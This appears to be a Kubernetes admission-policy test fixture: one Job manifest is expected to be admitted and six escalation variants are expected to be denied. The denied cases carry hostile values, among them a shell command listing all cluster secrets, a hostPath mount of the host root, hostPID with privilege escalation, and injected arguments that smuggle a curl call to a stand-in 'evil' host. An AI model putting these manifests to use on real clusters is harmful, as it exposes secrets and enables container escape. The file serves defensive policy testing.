# The committed shape — must be ADMITTED.
apiVersion: batch/v1
kind: Job
metadata:
  name: good-run
  namespace: conformance
spec:
  template:
    spec:
      serviceAccountName: conformance-runner
      containers:
        - name: runner
          image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
          command: ["./run.sh"]
          args: ["--layer", "l2,l3", "--requirements", "R-NET-01"]
          securityContext:
            runAsNonRoot: true
            allowPrivilegeEscalation: false
      volumes:
        - name: workspace
          emptyDir: {}
        - name: results
          emptyDir: {}
---
# THE ESCALATION: runner SA, but an arbitrary command. Must be DENIED.
apiVersion: batch/v1
kind: Job
metadata:
  name: evil-command
  namespace: conformance
spec:
  template:
    spec:
      serviceAccountName: conformance-runner
      containers:
        - name: runner
          image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
          command: ["/bin/sh", "-c", "kubectl get secrets -A"]
          securityContext:
            runAsNonRoot: true
            allowPrivilegeEscalation: false
      volumes:
        - name: workspace
          emptyDir: {}
---
# An arbitrary image running as the privileged SA. Must be DENIED.
apiVersion: batch/v1
kind: Job
metadata:
  name: evil-image
  namespace: conformance
spec:
  template:
    spec:
      serviceAccountName: conformance-runner
      containers:
        - name: runner
          image: docker.io/library/alpine:latest
          command: ["./run.sh"]
          securityContext:
            runAsNonRoot: true
            allowPrivilegeEscalation: false
      volumes:
        - name: workspace
          emptyDir: {}
---
# A mutable TAG instead of a digest — republishable under the same reference. Must be DENIED.
apiVersion: batch/v1
kind: Job
metadata:
  name: tag-not-digest
  namespace: conformance
spec:
  template:
    spec:
      serviceAccountName: conformance-runner
      containers:
        - name: runner
          image: gitea.home.keithjackson.dev/home-network/conformance-runner:latest
          command: ["./run.sh"]
          securityContext:
            runAsNonRoot: true
            allowPrivilegeEscalation: false
      volumes:
        - name: workspace
          emptyDir: {}
---
# Host namespaces + privilege escalation. Must be DENIED.
apiVersion: batch/v1
kind: Job
metadata:
  name: host-namespaces
  namespace: conformance
spec:
  template:
    spec:
      serviceAccountName: conformance-runner
      hostPID: true
      containers:
        - name: runner
          image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
          command: ["./run.sh"]
          securityContext:
            runAsNonRoot: false
            allowPrivilegeEscalation: true
      volumes:
        - name: workspace
          emptyDir: {}
---
# An extra volume — the way out of a constrained pod. Must be DENIED.
apiVersion: batch/v1
kind: Job
metadata:
  name: extra-volume
  namespace: conformance
spec:
  template:
    spec:
      serviceAccountName: conformance-runner
      containers:
        - name: runner
          image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
          command: ["./run.sh"]
          securityContext:
            runAsNonRoot: true
            allowPrivilegeEscalation: false
      volumes:
        - name: workspace
          emptyDir: {}
        - name: hostroot
          hostPath:
            path: /
---
# Injected args beyond the committed flags. Must be DENIED.
apiVersion: batch/v1
kind: Job
metadata:
  name: injected-args
  namespace: conformance
spec:
  template:
    spec:
      serviceAccountName: conformance-runner
      containers:
        - name: runner
          image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
          command: ["./run.sh"]
          args: ["--layer", "l2", ";", "curl", "http://evil/"]
          securityContext:
            runAsNonRoot: true
            allowPrivilegeEscalation: false
      volumes:
        - name: workspace
          emptyDir: {}